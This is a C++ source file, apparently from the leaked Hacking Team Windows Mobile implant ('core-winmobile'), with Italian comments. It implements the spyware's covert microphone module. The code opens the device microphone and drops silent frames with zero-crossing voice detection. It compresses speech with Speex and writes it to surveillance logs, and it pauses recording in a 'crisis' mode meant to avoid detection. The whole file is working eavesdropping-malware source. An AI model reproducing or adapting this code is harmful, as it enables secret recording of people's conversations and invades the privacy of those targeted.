hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/Microphone.cpp

Summary

Maintainability
Test Coverage
#include "Modules.h"
#include "Common.h"
#include "Module.h"

#include <mmsystem.h>
#include <exception>
#include <winreg.h>
#include "CWaveForm.h"
#include "speex/speex.h"
#include "speex/speex_preprocess.h"

#include "Conf.h"
#include "Microphone.h"
#include "Device.h"
#include "Log.h"

MicAdditionalData mad;
BOOL bMicIsrecording, bUpdateTimestamp;
INT vadThreshold;
BOOL vad;
DWORD dwMicBuffInCount;
WAVEHDR    tagMicWaveHdr[MIC_COUNT_BUFF];
CWaveformIn *micAgent;

DWORD mic_buffer_len = MIC_DEF_BUFFER_LEN;
DWORD mic_compress_factor = MIC_DEF_COMPRESS_FACTOR; 

void MicSaveEncode(BYTE *wave, DWORD total_size) {
    short *bit_sample;
    void *state;
    float *input;
    BYTE *to_write;
    BYTE *source_ptr;
    BYTE *cbits;
    SpeexBits bits;
    DWORD frame_size = 0;
    DWORD i, nbBytes;    
    DWORD complexity = 1;
    //DWORD vad = 1;
    //SpeexPreprocessState *preprocess;

    // Crea un nuovo encoder in wide mode
    state = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_NB));
    speex_encoder_ctl(state, SPEEX_SET_QUALITY, &mic_compress_factor);
    speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity);
    //speex_encoder_ctl(state, SPEEX_SET_DTX, &vad); // Abilitiamo la trasmissione discontinua
    //speex_encoder_ctl(state, SPEEX_SET_VAD, &vad); // Abilitiamo il VAD
    speex_bits_init(&bits);
    speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size);

    //preprocess = speex_preprocess_state_init(frame_size, MIC_SAMPLE_RATE);
    //speex_preprocess_ctl(preprocess, SPEEX_PREPROCESS_SET_VAD, &vad); // Attiviamo il VAD

    if (!frame_size) {
        SPEEX_FREE;
        return;
    }

    // Allochiamo il buffer di output grande quanto quello originale (per sicurezza)
    if (!(to_write = new(std::nothrow) BYTE[frame_size*MIC_SAMPLE_SIZE])) {
        SPEEX_FREE;
        return;
    }
    cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione

    // Allochiamo il buffer di elaborazione
    if (!(input = new(std::nothrow) FLOAT[frame_size])) {
        SAFE_DELETE(to_write);
        SPEEX_FREE;
        return;
    }

    // Se il VAD e' attivo
    if (vad) {
        // Controlliamo che ci sia voce nel campione
        SHORT sPrev = 0;
        UINT uZeroCross = 0;

        // wave -> wave + total_size in step di frame_Size * 2
        for (source_ptr=wave; source_ptr+(frame_size*MIC_SAMPLE_SIZE)<=wave+total_size; source_ptr+=(frame_size*MIC_SAMPLE_SIZE)) {
            // Copiamo i campioni a 16 bit dentro dei float
            bit_sample = (short *)source_ptr;

            for (i = 0; i < frame_size; i++) {
                if ((INT)(sPrev * bit_sample[i]) < 0)
                    uZeroCross++;

                sPrev = bit_sample[i];
            }
        }

        FLOAT fCross = (float)(uZeroCross / (total_size / (frame_size * MIC_SAMPLE_SIZE)));

        // Se non c'e' voce, droppiamo il campione
        if (fCross >= (FLOAT)vadThreshold) {
            bUpdateTimestamp = TRUE; // Il prossimo loop dobbiamo aggiornare il timestamp
            SAFE_DELETE(to_write);
            SAFE_DELETE(input);
            SPEEX_FREE;
            return;
        }
    }

    Log log;

    // Se necessario aggiorniamo il timestamp
    if (bUpdateTimestamp) {
        unsigned __int64 temp_time = GetTime();

        mad.fId.dwHighDateTime = (DWORD)((temp_time & 0xffffffff00000000) >> 32);
        mad.fId.dwLowDateTime  = (DWORD)(temp_time & 0x00000000ffffffff);

        bUpdateTimestamp = FALSE;
    }

    if (log.CreateLog(LOGTYPE_MIC, (BYTE *)&mad, sizeof(mad), MMC1) == FALSE) {
        SAFE_DELETE(to_write);
        SAFE_DELETE(input);
        SPEEX_FREE;
        return;
    }

    // Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero
    for (source_ptr=wave; source_ptr + (frame_size * MIC_SAMPLE_SIZE) <= wave + total_size; source_ptr += (frame_size * MIC_SAMPLE_SIZE)) {
        // Copiamo i campioni a 16 bit dentro dei float
        bit_sample = (short *)source_ptr;

        for (i=0; i<frame_size; i++)
            input[i] =  bit_sample[i];

        speex_bits_reset(&bits);
        speex_encode(state, input, &bits);

        // Encoda dentro il buffer di output
        nbBytes = speex_bits_write(&bits, (char *)cbits, frame_size * MIC_SAMPLE_SIZE);

        if (nbBytes > (frame_size * MIC_SAMPLE_SIZE))
            continue; // Check paranoico

        // Copia la lunghezza nei primi 4 byte per fare un'unica scrittura su file
        CopyMemory(to_write, &nbBytes, sizeof(DWORD)); 
        log.WriteLog(to_write, nbBytes + sizeof(DWORD));
    }

    log.CloseLog();
    SAFE_DELETE(to_write);
    SAFE_DELETE(input);
    SPEEX_FREE;
}


void CALLBACK MicwaveInProc(HWAVEIN hwi, UINT uMsg, DWORD dwInstance, WAVEHDR *dwParam1, DWORD dwParam2) {
    if (uMsg == MM_WIM_DATA) {
        if (dwParam1->dwBytesRecorded > 0)
            MicSaveEncode((BYTE *)dwParam1->lpData, dwParam1->dwBytesRecorded);

        if (bMicIsrecording) {
            waveInUnprepareHeader(hwi, dwParam1, sizeof(WAVEHDR));

            dwParam1->dwFlags = 0;
            dwParam1->dwBytesRecorded = 0;
            waveInPrepareHeader(hwi, dwParam1, sizeof(WAVEHDR));
            waveInAddBuffer(hwi, dwParam1, sizeof(WAVEHDR));
        } else {
            dwMicBuffInCount++;    
        }
    }
}

BOOL MicRecordStop() {
    if (micAgent == NULL)
        return FALSE;

    bMicIsrecording = FALSE;
    micAgent->Reset();

    // Aspetta che abbia flushato i buffer
    while(dwMicBuffInCount < MIC_COUNT_BUFF)
        Sleep(500);

    micAgent->Close();
    for (int j=0; j<MIC_COUNT_BUFF; j++) {
        micAgent->UnprepareHeader(&(tagMicWaveHdr[j]), sizeof(WAVEHDR));
        SAFE_FREE(tagMicWaveHdr[j].lpData);
    }
    delete micAgent;
    micAgent = NULL;
    return TRUE;
}


BOOL MicRecordStart() {
    WAVEFORMATEX in_pcmWaveFormat;
    CWaveform wave;
    UINT count = CWaveform::InGetNumDevs();

    dwMicBuffInCount = 0;

    for (UINT i = 0; i < count && micAgent == NULL; i++) {
        WAVEINCAPS wic;

        CWaveform::InGetDevCaps(i, &wic, sizeof(WAVEINCAPS));
        if (wic.dwFormats & WAVE_FORMAT_1M16) {
            ZeroMemory(&in_pcmWaveFormat, sizeof(WAVEFORMATEX));
            CWaveform::PrepareWaveFormat(&in_pcmWaveFormat, WAVE_FORMAT_PCM, 1, MIC_SAMPLE_RATE, 16);
            micAgent = wave.InOpen(i, &in_pcmWaveFormat, (DWORD_PTR) MicwaveInProc, 0, CALLBACK_FUNCTION);
        }
    }

    if (micAgent == NULL) 
        return FALSE;

    ZeroMemory(tagMicWaveHdr, sizeof(tagMicWaveHdr));
    for (UINT j = 0; j < MIC_COUNT_BUFF; j++) {
        tagMicWaveHdr[j].dwBufferLength = mic_buffer_len;
        tagMicWaveHdr[j].dwLoops = 1;
        // Alloca i buffer di registrazione e li prepara
        if (!(tagMicWaveHdr[j].lpData = (char *)new(std::nothrow) CHAR[tagMicWaveHdr[j].dwBufferLength]))  {
            for (UINT k = 0; k < j; k++) {
                SAFE_DELETE(tagMicWaveHdr[k].lpData);
            }

            micAgent->Close();
            delete micAgent;
            micAgent = NULL;
            return FALSE;
        }
    }

    for (UINT j = 0; j < MIC_COUNT_BUFF; j++) { 
        micAgent->PrepareHeader(&(tagMicWaveHdr[j]), sizeof(WAVEHDR));
        micAgent->AddBuffer(&(tagMicWaveHdr[j]), sizeof(WAVEHDR));
    }

    bMicIsrecording = TRUE;
    micAgent->Start();

    return TRUE;
}

DWORD WINAPI RecordedMicrophone(LPVOID lpParam) {
    Module *me = (Module *)lpParam;
    Configuration *conf = me->getConf();
    HANDLE eventHandle;
    Device *deviceObj = Device::self();
    Status *statusObj = Status::self();

    BOOL bCrisis = FALSE;

    bMicIsrecording = FALSE;
    micAgent = NULL;
    
    try {
        vadThreshold = 50; //conf->getDouble(L"threshold");
    } catch (...) {
        vadThreshold = 50;
    }

    try {
        vad = conf->getBool(L"vad");
    } catch (...) {
        vad = FALSE;
    }

    me->setStatus(MODULE_RUNNING);
    eventHandle = me->getEvent();

    DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module started\n", 5, FALSE);

    unsigned __int64 temp_time = GetTime();

    ZeroMemory(&mad, sizeof(mad));
    mad.uVersion = MIC_LOG_VERSION;
    mad.uSampleRate = MIC_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX;
    mad.fId.dwHighDateTime = (DWORD)((temp_time & 0xffffffff00000000) >> 32);
    mad.fId.dwLowDateTime  = (DWORD)(temp_time & 0x00000000ffffffff);
    bUpdateTimestamp = FALSE; // TRUE solo se passiamo dal silenzio alla voce

    deviceObj->SetMicPowerState();
    
    MicRecordStart();

    LOOP {
        while (bCrisis) {
            DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module is in crisis\n", 6, FALSE);

            WaitForSingleObject(eventHandle, 10000);

            if (me->shouldStop()) {
                DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop while in crisis [0]\n", 5, FALSE);
                me->setStatus(MODULE_STOPPED);
                return 0;
            }

            // Se la crisi e' finita...
            if ((statusObj->Crisis() & CRISIS_MIC) != CRISIS_MIC) {
                bCrisis = FALSE;

                deviceObj->SetMicPowerState();
                MicRecordStart();

                DBG_TRACE(L"Debug - Microphone.cpp - RecordedMicrophoneAgent leaving crisis\n", 6, FALSE);
            }
        }

        WaitForSingleObject(eventHandle, 10000);

        if (me->shouldStop()) {
            DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop\n", 5, FALSE);

            MicRecordStop();
            deviceObj->ReleaseMicPowerState();
            me->setStatus(MODULE_STOPPED);
            return 0;
        }

        if ((statusObj->Crisis() & CRISIS_MIC) == CRISIS_MIC) {
            bCrisis = TRUE;

            MicRecordStop();
            deviceObj->ReleaseMicPowerState();
        }
    }

    return 0;
}